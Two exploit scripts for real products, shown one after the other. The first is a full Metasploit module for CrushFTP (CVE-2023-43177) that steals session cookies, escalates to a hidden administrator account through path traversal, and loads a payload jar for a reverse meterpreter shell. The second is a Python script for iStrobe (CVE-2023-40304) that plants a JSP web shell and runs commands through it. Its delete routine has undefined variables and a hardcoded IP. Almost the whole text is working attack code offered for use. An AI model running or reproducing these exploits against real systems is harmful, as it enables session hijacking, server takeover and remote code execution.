<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::FileDropper<br /> include Msf::Exploit::Remote::Java::HTTP::ClassLoader<br /> prepend Msf::Exploit::Remote::AutoCheck<br /><br /> class CrushFtpError < StandardError; end<br /> class CrushFtpNoAccessError < CrushFtpError; end<br /> class CrushFtpNotFoundError < CrushFtpError; end<br /> class CrushFtpUnknown < CrushFtpError; end<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'CrushFTP Unauthenticated RCE',<br /> 'Description' => %q{<br /> This exploit module leverages an Improperly Controlled Modification<br /> of Dynamically-Determined Object Attributes vulnerability<br /> (CVE-2023-43177) to achieve unauthenticated remote code execution.<br /> This affects CrushFTP versions prior to 10.5.1.<br /><br /> It is possible to set some user's session properties by sending an HTTP<br /> request with specially crafted Header key-value pairs. This enables an<br /> unauthenticated attacker to access files anywhere on the server file<br /> system and steal the session cookies of valid authenticated users. The<br /> attack consists in hijacking a user's session and escalates privileges<br /> to obtain full control of the target. Remote code execution is obtained<br /> by abusing the dynamic SQL driver loading and configuration testing<br /> feature.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> 'Ryan Emmons', # Initial research, discovery and PoC<br /> 'Christophe De La Fuente' # Metasploit module<br /> ],<br /> 'References' => [<br /> [ 'URL', 'https://convergetp.com/2023/11/16/crushftp-zero-day-cve-2023-43177-discovered/'],<br /> [ 'URL', 'https://github.com/the-emmons/CVE-2023-43177/blob/main/CVE-2023-43177.py'],<br /> [ 'URL', 'https://www.crushftp.com/crush10wiki/Wiki.jsp?page=Update'],<br /> [ 'CVE', '2023-43177'],<br /> [ 'CWE', '913' ]<br /> ],<br /> 'Platform' => %w[java unix linux win],<br /> 'Privileged' => true,<br /> 'Arch' => [ARCH_JAVA, ARCH_X64, ARCH_X86],<br /> 'Targets' => [<br /> [<br /> 'Java',<br /> {<br /> 'Arch' => ARCH_JAVA,<br /> 'Platform' => 'java',<br /> # If not set here, Framework will pick this payload anyway and set the default LHOST to the local interface.<br /> # If we set the payload manually to a bind payload (e.g. `java/meterpreter/bind_tcp`) the default LHOST will be<br /> # used and the payload will fail if the target is not local (most likely).<br /> # To avoid this, the default payload is set here, which prevent Framework to set a default LHOST.<br /> 'DefaultOptions' => { 'PAYLOAD' => 'java/meterpreter/reverse_tcp' }<br /> }<br /> ],<br /> [<br /> 'Linux Dropper',<br /> {<br /> 'Arch' => [ ARCH_X64, ARCH_X86 ],<br /> 'Platform' => 'linux'<br /> }<br /> ],<br /> [<br /> 'Windows Dropper',<br /> {<br /> 'Arch' => [ ARCH_X64, ARCH_X86 ],<br /> 'Platform' => 'win'<br /> }<br /> ],<br /> ],<br /> 'DisclosureDate' => '2023-08-08',<br /> 'DefaultTarget' => 0,<br /> 'Notes' => {<br /> 'Stability' => [CRASH_SAFE],<br /> 'Reliability' => [REPEATABLE_SESSION],<br /> 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]<br /> }<br /> )<br /> )<br /> register_options(<br /> [<br /> Opt::RPORT(8080),<br /> OptString.new('TARGETURI', [true, 'The base path of the CrushFTP web interface', '/']),<br /> OptInt.new('SESSION_FILE_DELAY', [true, 'The delay in seconds between attempts to download the session file', 30])<br /> ]<br /> )<br /> end<br /><br /> def send_as2_query_api(headers = {})<br /> rand_username = rand_text_hex(10)<br /> opts = {<br /> 'uri' => normalize_uri(target_uri.path, 'WebInterface/function/?command=getUsername'),<br /> 'method' => 'POST',<br /> 'headers' => {<br /> 'as2-to' => rand_text_hex(8),<br /> # Each key-value pair will be added into the current session’s<br /> # `user_info` Properties, which is used by CrushFTP to store information<br /> # about a user's session. Here, we set a few properties needed for the<br /> # exploit to work.<br /> 'user_ip' => '127.0.0.1',<br /> 'dont_log' => 'true',<br /> # The `user_name` property will be be included in the response to a<br /> # `getUsername` API query. This will be used to make sure the operation<br /> # worked and the other key-value pairs were added to the session's<br /> # `user_info` Properties.<br /> 'user_name' => rand_username<br /> }.merge(headers)<br /> }<br /><br /> # This only works with anonymous sessions, so `#get_anon_session` should be<br /> # called before to make sure the cookie_jar is set with an anonymous<br /> # session cookie.<br /> res = send_request_cgi(opts)<br /> raise CrushFtpNoAccessError, '[send_as2_query_api] Could not connect to the web server - no response' if res.nil?<br /><br /> xml_response = res.get_xml_document<br /> if xml_response.xpath('//loginResult/response').text != 'success'<br /> raise CrushFtpUnknown, '[send_as2_query_api] The API returned a non-successful response'<br /> end<br /><br /> # Checking the forged username returned in the response<br /> unless xml_response.xpath('//loginResult/username').text == rand_username<br /> raise CrushFtpUnknown, '[send_as2_query_api] username not found in response, the exploit didn\'t work'<br /> end<br /><br /> res<br /> end<br /><br /> def send_query_api(command:, cookie: nil, vars: {}, multipart: false, timeout: 20)<br /> opts = {<br /> 'uri' => normalize_uri(target_uri.path, 'WebInterface/function/'),<br /> 'method' => 'POST'<br /> }<br /> if multipart<br /> opts['vars_form_data'] = [<br /> {<br /> 'name' => 'command',<br /> 'data' => command<br /> },<br /> ]<br /> unless cookie.blank?<br /> opts['vars_form_data'] << {<br /> 'name' => 'c2f',<br /> 'data' => cookie.last(4)<br /> }<br /> end<br /> opts['vars_form_data'] += vars unless vars.empty?<br /> else<br /> opts['vars_post'] = {<br /> 'command' => command<br /> }.merge(vars)<br /> opts['vars_post']['c2f'] = cookie.last(4) unless cookie.blank?<br /> end<br /> opts['cookie'] = "CrushAuth=#{cookie}; currentAuth=#{cookie.last(4)}" unless cookie.nil?<br /><br /> res = send_request_cgi(opts, timeout)<br /> raise CrushFtpNoAccessError, '[send_query_api] Could not connect to the web server - no response' if res.nil?<br /><br /> res<br /> end<br /><br /> def get_anon_session<br /> vprint_status('Getting a new anonymous session')<br /> cookie_jar.clear<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'WebInterface'),<br /> 'method' => 'GET',<br /> 'keep_cookies' => true<br /> )<br /> raise CrushFtpNoAccessError, '[get_anon_session] Could not connect to the web server - no response' if res.nil?<br /><br /> match = res.get_cookies.match(/CrushAuth=(?<cookie>\d{13}_[A-Za-z0-9]{30})/)<br /> raise CrushFtpNotFoundError, '[get_anon_session] Could not get the `currentAuth` cookie' unless match<br /><br /> vprint_status("Anonymous session cookie: #{match[:cookie]}")<br /> match[:cookie]<br /> end<br /><br /> def check<br /> vprint_status('Checking CrushFTP Server')<br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'WebInterface', 'login.html'),<br /> 'method' => 'GET'<br /> )<br /> return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?<br /> return CheckCode::Safe('The web server is not running CrushFTP') unless res.body =~ /crushftp/i<br /><br /> cookie = get_anon_session<br /><br /> vprint_status('Checking if the attack primitive works')<br /> # This will raise an exception in case of error<br /> send_as2_query_api<br /><br /> do_logout(cookie)<br /><br /> CheckCode::Appears<br /> rescue CrushFtpError => e<br /> CheckCode::Unknown("#{e.class} - #{e.message}")<br /> end<br /><br /> def rand_dir<br /> @rand_dir ||= "WebInterface/Resources/libs/jq-3.6.0_#{rand_text_hex(10)}-js/"<br /> end<br /><br /> def get_session_file<br /> # Setting this here to be reachable by the ensure block<br /> cookie = nil<br /> begin<br /> cookie = get_anon_session<br /> rescue CrushFtpError => e<br /> print_bad("[get_session_file] Unable to get an anonymous session: #{e.class} - #{e.message}")<br /> return nil<br /> end<br /><br /> vprint_status("Getting session file at `#{rand_dir}`")<br /> headers = {<br /> 'filename' => '/',<br /> 'user_protocol_proxy' => rand_text_hex(8),<br /> 'user_log_file' => 'sessions.obj',<br /> 'user_log_path' => './',<br /> 'user_log_path_custom' => File.join('.', rand_dir)<br /> }<br /> send_as2_query_api(headers)<br /> formatted_dir = File.join('.', rand_dir.delete_suffix('/'))<br /> register_dirs_for_cleanup(formatted_dir) unless @dropped_dirs.include?(formatted_dir)<br /><br /> res = send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, rand_dir, 'sessions.obj'),<br /> 'method' => 'GET'<br /> )<br /> unless res&.code == 200<br /> print_bad('[get_session_file] Could not connect to the web server - no response') if res.nil?<br /> print_bad('[get_session_file] Could not steal the session file')<br /> return nil<br /> end<br /> print_good('Session file downloaded')<br /><br /> tmp_hash = Rex::Text.md5(res.body)<br /> if @session_file_hash == tmp_hash<br /> vprint_status('Session file has not changed yet, skipping')<br /> return nil<br /> end<br /> @session_file_hash = tmp_hash<br /><br /> res.body<br /> rescue CrushFtpError => e<br /> print_bad("[get_session_file] Unknown failure:#{e.class} - #{e.message}")<br /> return nil<br /> ensure<br /> do_logout(cookie) if cookie<br /> end<br /><br /> def check_sessions(session_file)<br /> valid_sessions = []<br /> session_cookies = session_file.scan(/\d{13}_[A-Za-z0-9]{30}/).uniq<br /> vprint_status("Found #{session_cookies.size} session cookies in the session file")<br /> session_cookies.each do |cookie|<br /> res = send_query_api(command: 'getUsername', cookie: cookie)<br /> username = res.get_xml_document.xpath('//loginResult/username').text<br /> if username == 'anonymous'<br /> vprint_status("Cookie `#{cookie}` is an anonymous session")<br /> elsif username.empty?<br /> vprint_status("Cookie `#{cookie}` is not valid")<br /> else<br /> vprint_status("Cookie `#{cookie}` is valid session (username: #{username})")<br /> valid_sessions << { cookie: cookie, username: username }<br /> end<br /> rescue CrushFtpError => e<br /> print_bad("[check_sessions] Error while checking cookie `#{cookie}`: #{e.class} - #{e.message}")<br /> end<br /> valid_sessions<br /> end<br /><br /> def check_admin_and_windows(cookie)<br /> res = send_query_api(command: 'getDashboardItems', cookie: cookie)<br /><br /> is_windows = res.get_xml_document.xpath('//result/response_data/result_value/machine_is_windows').text<br /> return nil if is_windows.blank?<br /> return true if is_windows == 'true'<br /><br /> false<br /> rescue CrushFtpError<br /> vprint_status("[check_admin_and_get_os_family] Cookie #{cookie} doesn't have access to the `getDashboardItems` API, it is not an admin session")<br /> nil<br /> end<br /><br /> def get_writable_dir(path, cookie)<br /> res = send_query_api(command: 'getXMLListing', cookie: cookie, vars: { 'path' => path, 'random' => "0.#{rand_text_numeric(17)}" })<br /> xml_doc = res.get_xml_document<br /> current_path = xml_doc.xpath('//listingInfo/path').text<br /> if xml_doc.xpath('//listingInfo/privs').text.include?('(write)')<br /> return current_path<br /> end<br /><br /> res.get_xml_document.xpath('//listingInfo/listing/listing_subitem').each do |subitem|<br /> if subitem.at('type').text == 'DIR'<br /> dir = get_writable_dir(File.join(current_path, subitem.at('href_path').text), cookie)<br /> return dir unless dir.nil?<br /> end<br /> end<br /><br /> nil<br /> rescue CrushFtpError => e<br /> print_bad("[get_writable_dir] Unknown failure: #{e.class} - #{e.message}")<br /> nil<br /> end<br /><br /> def upload_file(file_path, file_content, id, cookie)<br /> file_size = file_content.size<br /> vars = [<br /> { 'name' => 'upload_path', 'data' => file_path },<br /> { 'name' => 'upload_size', 'data' => file_size },<br /> { 'name' => 'upload_id', 'data' => id },<br /> { 'name' => 'start_resume_loc', 'data' => '0' }<br /> ]<br /> res = send_query_api(command: 'openFile', cookie: cookie, vars: vars, multipart: true)<br /> response_msg = res.get_xml_document.xpath('//commandResult/response').text<br /> if response_msg != id<br /> raise CrushFtpUnknown, "Unable to upload #{file_path}: #{response_msg}"<br /> end<br /><br /> form_data = Rex::MIME::Message.new<br /> form_data.add_part(file_content, 'application/octet-stream', 'binary', "form-data; name=\"CFCD\"; filename=\"#{file_path}\"")<br /> post_data = form_data.to_s<br /> post_data.sub!("Content-Transfer-Encoding: binary\r\n", '')<br /><br /> send_request_cgi(<br /> 'uri' => normalize_uri(target_uri.path, 'U', "#{id}~1~#{file_size}"),<br /> 'method' => 'POST',<br /> 'cookie' => "CrushAuth=#{cookie}; currentAuth=#{cookie.last(4)}",<br /> 'ctype' => "multipart/form-data; boundary=#{form_data.bound}",<br /> 'data' => post_data<br /> )<br /><br /> vars = [<br /> { 'name' => 'upload_id', 'data' => id },<br /> { 'name' => 'total_chunks', 'data' => '1' },<br /> { 'name' => 'total_bytes', 'data' => file_size },<br /> { 'name' => 'filePath', 'data' => file_path },<br /> { 'name' => 'lastModified', 'data' => DateTime.now.strftime('%Q') },<br /> { 'name' => 'start_resume_loc', 'data' => '0' }<br /> ]<br /> send_query_api(command: 'closeFile', cookie: cookie, vars: vars, multipart: true)<br /> end<br /><br /> def check_egg(session_file, egg)<br /> path = session_file.match(%r{FILE://.*?#{egg}})<br /> return nil unless path<br /><br /> path = path[0]<br /> vprint_status("Found the egg at #{path} in the session file")<br /> if (match = path.match(%r{^FILE://(?<path>[A-Z]:.*)#{egg}}))<br /> print_good("Found path `#{match[:path]}` and it is Windows")<br /> elsif (match = path.match(%r{^FILE:/(?<path>.*)#{egg}}))<br /> print_good("Found path `#{match[:path]}` and it is Unix-like")<br /> end<br /> match[:path]<br /> end<br /><br /> def move_user_xml(admin_username, writable_dir)<br /> headers = {<br /> 'filename' => '/',<br /> 'user_protocol_proxy' => rand_text_hex(8),<br /> 'user_log_file' => 'user.XML',<br /> 'user_log_path' => "./../../../../../../../../../../../../../../..#{writable_dir}",<br /> 'user_log_path_custom' => "./users/MainUsers/#{admin_username}/"<br /> }<br /> send_as2_query_api(headers)<br /> end<br /><br /> def do_priv_esc_and_check_windows(session)<br /> vprint_status('Looking for a directory with write permissions')<br /> writable_dir = get_writable_dir('/', session[:cookie])<br /> if writable_dir.nil?<br /> print_bad('[do_priv_esc_and_check_windows] The user has no upload permissions, privilege escalation is not possible')<br /> return nil<br /> end<br /> print_good("Found a writable directory: #{writable_dir}")<br /><br /> egg_rand = rand_text_hex(10)<br /> print_status("Uploading the egg file `#{egg_rand}`")<br /> egg_path = File.join(writable_dir, egg_rand)<br /> begin<br /> upload_file(egg_path, rand_text_hex(3..6), egg_rand, session[:cookie])<br /> rescue CrushFtpError => e<br /> print_bad("[do_priv_esc_and_check_windows] Unable to upload the egg file: #{e.class} - #{e.message}")<br /> return nil<br /> end<br /><br /> admin_password = rand_text_hex(10)<br /> user_xml = <<~XML.gsub!(/\n */, '')<br /> <?xml version='1.0' encoding='UTF-8'?><br /> <user type='properties'><br /> <username>#{session[:username]}</username><br /> <password>MD5:#{Rex::Text.md5(admin_password)}</password><br /> <extra_vfs type='vector'></extra_vfs><br /> <version>1.0</version><br /> <userVersion>6</userVersion><br /> <created_by_username>crushadmin</created_by_username><br /> <created_by_email></created_by_email><br /> <created_time>#{DateTime.now.strftime('%Q')}</created_time><br /> <filePublicEncryptionKey></filePublicEncryptionKey><br /> <fileDecryptionKey></fileDecryptionKey><br /> <max_logins>0</max_logins><br /> <root_dir>/</root_dir><br /> <site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site><br /> <password_history></password_history><br /> </user><br /> XML<br /> xml_path = File.join(writable_dir, 'user.XML')<br /> print_status("Uploading `user.XML` to #{xml_path}")<br /> begin<br /> upload_file(xml_path, user_xml, rand_text_hex(10), session[:cookie])<br /> rescue CrushFtpError => e<br /> print_bad("[do_priv_esc_and_check_windows] Unable to upload `user.XML`: #{e.class} - #{e.message}")<br /> return nil<br /> end<br /><br /> path = nil<br /> loop do<br /> print_status('Looking for the egg in the session file')<br /> session_file = get_session_file<br /> if session_file<br /> path = check_egg(session_file, egg_rand)<br /> break if path<br /> end<br /> print_status("Egg not found, wait #{datastore['SESSION_FILE_DELAY']} seconds and try again... (Ctrl-C to exit)")<br /> sleep datastore['SESSION_FILE_DELAY']<br /> end<br /> print_good("Found the file system path: #{path}")<br /> register_files_for_cleanup(File.join(path, egg_rand))<br /><br /> cookie = nil<br /> begin<br /> cookie = get_anon_session<br /> rescue CrushFtpError => e<br /> print_bad("[do_priv_esc_and_check_windows] Unable to get an anonymous session: #{e.class} - #{e.message}")<br /> return nil<br /> end<br /> admin_username = rand_text_hex(10)<br /> vprint_status("The forged user will be `#{admin_username}`")<br /> vprint_status("Moving user.XML from #{path} to `#{admin_username}` home folder and elevate privileges")<br /> is_windows = path.match(/^[A-Z]:(?<path>.*)/)<br /> move_user_xml(admin_username, is_windows ? Regexp.last_match(:path) : path)<br /><br /> do_logout(cookie)<br /> # `cookie` is explicitly set to `nil` here to make sure the ensure block<br /> # won't log it out again if the next call to `do_login` raises an<br /> # exception. Without this line, if `do_login` raises an exception, `cookie`<br /> # will still contain the value of the previous session cookie, which should<br /> # have been logged out at this point. The ensure block will try to logout<br /> # the same session again.<br /> cookie = nil<br /><br /> print_status('Logging into the elevated account')<br /> cookie = do_login(admin_username, admin_password)<br /> fail_with(Failure::NoAccess, 'Unable to login with the elevated account') unless cookie<br /><br /> print_good('Logged in! Now let\'s create a temporary admin account')<br /> [create_admin_account(cookie, is_windows), is_windows]<br /> ensure<br /> do_logout(cookie) if cookie<br /> end<br /><br /> def create_admin_account(cookie, is_windows)<br /> # This creates an administrator account with the required VFS setting for the exploit to work<br /> admin_username = rand_text_hex(10)<br /> admin_password = rand_text_hex(10)<br /> user_xml = <<~XML.gsub!(/\n */, '')<br /> <?xml version='1.0' encoding='UTF-8'?><br /> <user type='properties'><br /> <username>#{admin_username}</username><br /> <password>#{admin_password}</password><br /> <extra_vfs type='vector'></extra_vfs><br /> <version>1.0</version><br /> <userVersion>6</userVersion><br /> <created_by_username>crushadmin</created_by_username><br /> <created_by_email></created_by_email><br /> <created_time>#{DateTime.now.strftime('%Q')}</created_time><br /> <filePublicEncryptionKey></filePublicEncryptionKey><br /> <fileDecryptionKey></fileDecryptionKey><br /> <max_logins>0</max_logins><br /> <root_dir>/</root_dir><br /> <site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site><br /> <password_history></password_history><br /> </user><br /> XML<br /><br /> url = is_windows ? 'FILE://C:/Users/Public/' : 'FILE://var/tmp/'<br /><br /> vfs_xml = <<~XML.gsub!(/\n */, '')<br /> <?xml version='1.0' encoding='UTF-8'?><br /> <vfs_items type='vector'><br /> <vfs_items_subitem type='properties'><br /> <name>tmp</name><br /> <path>/</path><br /> <vfs_item type='vector'><br /> <vfs_item_subitem type='properties'><br /> <type>DIR</type><br /> <url>#{url}</url><br /> </vfs_item_subitem><br /> </vfs_item><br /> </vfs_items_subitem><br /> </vfs_items><br /> XML<br /><br /> perms_xml = <<~XML.gsub!(/\n */, '')<br /> <?xml version='1.0' encoding='UTF-8'?><br /> <VFS type='properties'><br /> <item name='/'><br /> (read)(view)(resume)<br /> </item><br /> <item name='/TMP/'><br /> (read)(write)(view)(delete)(deletedir)(makedir)(rename)(resume)(share)(slideshow)<br /> </item><br /> </VFS><br /> XML<br /><br /> vars_post = {<br /> 'data_action' => 'new',<br /> 'serverGroup' => 'MainUsers',<br /> 'username' => admin_username,<br /> 'user' => user_xml,<br /> 'xmlItem' => 'user',<br /> 'vfs_items' => vfs_xml,<br /> 'permissions' => perms_xml<br /> }<br /><br /> res = send_query_api(command: 'setUserItem', cookie: cookie, vars: vars_post)<br /> return nil if res.body.include?('Access Denied') || res.code == 404<br /><br /> { username: admin_username, password: admin_password }<br /> rescue CrushFtpError => e<br /> print_bad("[create_admin_account] Unknown failure: #{e.class} - #{e.message}")<br /> nil<br /> end<br /><br /> def do_login(username, password)<br /> vprint_status("[do_login] Logging in with username `#{username}` and password `#{password}`")<br /> vars = {<br /> 'username' => username,<br /> 'password' => password,<br /> 'encoded' => 'true',<br /> 'language' => 'en',<br /> 'random' => "0.#{rand_text_numeric(17)}"<br /> }<br /> res = send_query_api(command: 'login', cookie: '', vars: vars)<br /> unless res.code == 200 && res.get_xml_document.xpath('//loginResult/response').text.include?('success')<br /> print_bad('[do_login] Login failed')<br /> return nil<br /> end<br /><br /> match = res.get_cookies.match(/CrushAuth=(?<cookie>\d{13}_[A-Za-z0-9]{30})/)<br /> unless match<br /> print_bad('[do_login] Cannot find session cookie in response')<br /> return nil<br /> end<br /><br /> match[:cookie]<br /> end<br /><br /> def do_logout(cookie)<br /> vprint_status("Logging out session cookie `#{cookie}`")<br /> vars = {<br /> 'random' => "0.#{rand_text_numeric(17)}"<br /> }<br /> res = send_query_api(command: 'logout', cookie: cookie, vars: vars)<br /> unless res.code == 200 && res.get_xml_document.xpath('//commandResult/response').text.include?('Logged out')<br /> vprint_bad('[do_logout] Unable to logout')<br /> end<br /> rescue CrushFtpError => e<br /> vprint_bad("[do_logout] An error occured when trying to logout: #{e.class} - #{e.message}")<br /> end<br /><br /> def do_rce(cookie, is_windows)<br /> jar_file = payload.encoded_jar({ arch: payload.arch.first })<br /> jar_file.add_file("#{class_name}.class", constructor_class)<br /> jar_filename = "#{rand_text_hex(4)}.jar"<br /> jar_path = is_windows ? "C:/Users/Public/#{jar_filename}" : "/var/tmp/#{jar_filename}"<br /><br /> print_status("Uploading payload .jar file `#{jar_filename}` to #{jar_path}")<br /> begin<br /> upload_file(jar_filename, jar_file.pack, class_name, cookie)<br /> rescue CrushFtpError => e<br /> raise CrushFtpUnknown, "[do_rce] Unable to upload the payload .jar file: #{e.class} - #{e.message}"<br /> end<br /><br /> print_status('Triggering the payload')<br /> vars = {<br /> 'db_driver_file' => jar_path,<br /> 'db_driver' => class_name,<br /> 'db_url' => 'jdbc:derby:./hax;create=true',<br /> 'db_user' => rand_text(3..5),<br /> 'db_pass' => rand_text(10..15)<br /> }<br /> begin<br /> send_query_api(command: 'testDB', cookie: cookie, vars: vars, timeout: 0)<br /> rescue CrushFtpNoAccessError<br /> # Expecting no response<br /> end<br /><br /> register_files_for_cleanup(jar_path)<br /> end<br /><br /> def delete_user(username, cookie)<br /> vars = {<br /> 'data_action' => 'delete',<br /> 'serverGroup' => 'MainUsers',<br /> 'usernames' => username,<br /> 'user' => '<?xml version="1.0" encoding="UTF-8"?>',<br /> 'xmlItem' => 'user',<br /> 'vfs_items' => '<?xml version="1.0" encoding="UTF-8"?><vfs type="vector"></vfs>',<br /> 'permissions' => '<?xml version="1.0" encoding="UTF-8"?><permissions type="vector"></permissions>'<br /> }<br /> send_query_api(command: 'setUserItem', cookie: cookie, vars: vars)<br /> end<br /><br /> def exploit<br /> admin_creds = nil<br /> is_windows = nil<br /> loop do<br /> print_status('Downloading the session file')<br /> session_file = get_session_file<br /> unless session_file<br /> print_status("No session file, wait #{datastore['SESSION_FILE_DELAY']} seconds and try again... (Ctrl-C to exit)")<br /> sleep datastore['SESSION_FILE_DELAY']<br /> next<br /> end<br /><br /> print_status('Looking for the valid sessions')<br /> session_list = check_sessions(session_file)<br /> if session_list.empty?<br /> print_status("No valid sessions found, wait #{datastore['SESSION_FILE_DELAY']} seconds and try again... (Ctrl-C to exit)")<br /> sleep datastore['SESSION_FILE_DELAY']<br /> next<br /> end<br /><br /> # First, check if we have active admin sessions to go ahead and directly go the RCE part.<br /> session_list.each do |session|<br /> print_status("Checking if user #{session[:username]} is an admin (cookie: #{session[:cookie]})")<br /> # This will return nil if it is not an admin session<br /> is_windows = check_admin_and_windows(session[:cookie])<br /> next if is_windows.nil?<br /><br /> print_good('It is an admin! Let\'s create a temporary admin account')<br /> admin_creds = create_admin_account(session[:cookie], is_windows)<br /> break<br /> end<br /><br /> # If the previous step failed, try to escalate privileges with the remaining active sessions, if any.<br /> if admin_creds.nil?<br /> print_status('Could not find any admin session or the admin account creation failed')<br /> session_list.each do |session|<br /> print_status("Attempting privilege escalation with session cookie #{session}")<br /> admin_creds, is_windows = do_priv_esc_and_check_windows(session)<br /> break unless admin_creds.nil?<br /> end<br /> end<br /><br /> break unless admin_creds.nil?<br /><br /> print_status(<br /> "Creation of an admin account failed with the current active sessions, wait #{datastore['SESSION_FILE_DELAY']}"\<br /> 'seconds and try again... (Ctrl-C to exit)'<br /> )<br /> sleep datastore['SESSION_FILE_DELAY']<br /> end<br /><br /> print_good("Administrator account created: username=#{admin_creds[:username]}, password=#{admin_creds[:password]}")<br /><br /> cookie = do_login(admin_creds[:username], admin_creds[:password])<br /> fail_with(Failure::NoAccess, 'Unable to login with the new administrator credentials') unless cookie<br /><br /> do_rce(cookie, is_windows)<br /><br /> print_status('Cleanup the temporary admin account')<br /> delete_user(admin_creds[:username], cookie)<br /> rescue CrushFtpError => e<br /> fail_with(Failure::Unknown, "Unknown failure: #{e.class} - #{e.message}")<br /> ensure<br /> do_logout(cookie) if cookie<br /> end<br />end<br /></code></pre>
<pre><code>#!/usr/bin/env python3<br /><br /># Exploit Title: Pre-auth RCE on Compuware iStrobe Web<br /># Date: 01-08-2023<br /># Exploit Author: trancap<br /># Vendor Homepage: https://www.bmc.com/<br /># Version: BMC Compuware iStrobe Web - 20.13<br /># Tested on: zOS# CVE : CVE-2023-40304<br /># To exploit this vulnerability you'll need "Guest access" enabled. The vulnerability is quite simple and impacts a web upload form, allowing a path traversal and an arbitrary file upload (.jsp files)<br /># The vulnerable parameter of the form is "fileName". Using the form, one can upload a webshell (content of the webshell in the "topicText" parameter).# I contacted the vendor but he didn't consider this a vulnerability because of the Guest access needed.<br /><br />import requests<br />import urllib.parse<br />import argparse<br />import sys<br /><br />def upload_web_shell(url):<br /> data = {"fileName":"../jsp/userhelp/ws.jsp","author":"Guest","name":"test","action":"open","topicText":"<%@<br />page import=\"java.lang.*,java.io.*,java.util.*\" %><%Process<br />p=Runtime.getRuntime().exec(request.getParameter(\"cmd\"));BufferedReader<br />stdInput = new BufferedReader(new<br />InputStreamReader(p.getInputStream()));BufferedReader stdError = new<br />BufferedReader(new InputStreamReader(p.getErrorStream()));String<br />s=\"\";while((s=stdInput.readLine()) !=<br />null){out.println(s);};s=\"\";while((s=stdError.readLine()) !=<br />null){out.println(s);};%>","lang":"en","type":"MODULE","status":"PUB"}<br /> # If encoded, the web shell will not be uploaded properly<br /> data = urllib.parse.urlencode(data, safe='"*<>,=()/;{}!')<br /><br /> # Checking if web shell already uploaded<br /> r = requests.get(f"{url}/istrobe/jsp/userhelp/ws.jsp", verify=False)<br /> if r.status_code != 404:<br /> return<br /><br /> r = requests.post(f"{url}/istrobe/userHelp/saveUserHelp", data=data,<br />verify=False)<br /><br /> if r.status_code == 200:<br /> print(f"[+] Successfully uploaded web shell, it should be<br />accessible at {url}/istrobe/jsp/userhelp/ws.jsp")<br /> else:<br /> sys.exit("[-] Something went wrong while uploading the web shell")<br /><br />def delete_web_shell(url):<br /> paramsPost = {"fileName":"../jsp/userhelp/ws.jsp","author":"Guest","name":"test","action":"delete","lang":"en","type":"MODULE","status":"PUB"}<br /> response = session.post("http://220.4.147.38:6301/istrobe/userHelp/deleteUserHelp",<br />data=paramsPost, headers=headers, cookies=cookies)<br /><br /> if r.status_code == 200:<br /> print(f"[+] Successfully deleted web shell")<br /> else:<br /> sys.exit("[-] Something went wrong while deleting the web shell")<br /><br />def run_cmd(url, cmd):<br /> data = f"cmd={cmd}"<br /> r = requests.post(f"{url}/istrobe/jsp/userhelp/ws.jsp", data=data,<br />verify=False)<br /><br /> if r.status_code == 200:<br /> print(r.text)<br /> else:<br /> sys.exit(f'[-] Something went wrong while executing "{cmd}" command')<br /><br />parser = argparse.ArgumentParser(prog='exploit_cve_2023_40304.py', description='CVE-2023-40304 - Pre-auth file upload vulnerability + path traversal to achieve RCE')<br />parser.add_argument('url', help='Vulnerable URL to target. Must be like http(s)://vuln.target')<br />parser.add_argument('-c', '--cmd', help='Command to execute on the remote host (Defaults to "whoami")', default='whoami')<br />parser.add_argument('--rm', help='Deletes the uploaded web shell', action='store_true')<br />args = parser.parse_args()<br /><br />upload_web_shell(args.url)<br />run_cmd(args.url, args.cmd)<br /><br />if args.rm:<br /> delete_web_shell(args.url)<br /> <br /><br /><br /></code></pre>